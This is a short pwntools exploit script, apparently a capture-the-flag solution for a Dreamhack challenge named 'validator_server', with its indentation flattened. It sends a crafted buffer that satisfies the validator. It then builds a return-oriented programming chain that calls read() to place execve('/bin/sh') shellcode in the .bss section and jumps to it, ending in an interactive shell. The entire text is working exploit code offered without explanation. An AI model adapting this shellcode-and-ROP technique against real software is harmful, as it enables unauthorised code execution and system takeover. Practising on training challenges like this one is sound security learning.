



from pwn import *
import sys
if len(sys.argv) > 1 and sys.argv[1] == 'remote':
p = remote("host1.dreamhack.games", 20535)
else:
p = process("./validator_server")
e = ELF("./validator_server")
pause()
shellcode = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
bss = e.bss()
poprdi = 0x00000000004006f3
poprsir15 = 0x00000000004006f1
poprdx = 0x000000000040057b
read_plt = e.plt["read"]
payload = b''
payload += b'DREAMHACK!\x00'
for i in range(127,10,-1):
payload += i.to_bytes(1,'big')
payload += b'\x0a' * 8
payload += p64(poprdi) + p64(0)
payload += p64(poprsir15) + p64(bss) + p64(0)
payload += p64(poprdx) + p64(len(shellcode))
payload += p64(read_plt)
# payload += p64(poprdi+1)
payload += p64(bss)
p.send(payload)
p.send(shellcode)
p.interactive()